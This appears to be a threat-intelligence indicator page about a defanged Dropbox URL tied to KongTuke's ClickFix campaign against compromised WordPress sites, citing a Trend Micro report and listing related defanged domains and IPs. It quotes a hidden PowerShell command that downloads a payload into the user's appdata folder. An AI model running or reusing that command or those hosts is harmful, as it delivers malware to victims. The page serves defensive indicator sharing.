hxxps://www.dropbox[.]com/scl/fi/np4h0kexqq5r9vlpzwg4d/rp?rlkey=fwg1koexylntccobyxaliju7w&st=3wxzp44k&dl=1URL
Reported by 1 independent source · first reported by Trend Micro Research · last reported
Last reported 7 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Through the Lens of MDR: Analysis of KongTuke’s ClickFix Abuse of Compromised WordPress Sites“Command: -NonInteractive -NoProfile -WindowStyle Hidden -Command "iwr -Uri 'hxxps://www.dropbox[.]com/scl/fi/np4h0kexqq5r9vlpzwg4d/rp?rlkey=fwg1koexylntccobyxaliju7w&st=3wxzp44k&dl=1' -OutFile \"$env:appdata\WPy64-31401\python\extentions.py\"; ls \"$env:appdata\WPy64-31401\python\"…”
Indicators reported together
named in the same reports- hxxps://ainttby[.]com/6f54.jsin 1 report
- ainttby[.]comin 1 report
- hxxps://ctpsih[.]com/2d5h.jsin 1 report
- ctpsih[.]comin 1 report
- hxxps://foodgefy[.]com/6o0jk.jsin 1 report
- foodgefy[.]comin 1 report
- 162.33.178[.]171in 1 report
- hxxp://45.61.138[.]224/nin 1 report
- 45.61.138[.]224in 1 report
- 158.247.252[.]178in 1 report
- 170.168.103[.]208in 1 report
- 149.154.164[.]13in 1 report
Copy these 12 indicators · defanged
Thanks — we review every report.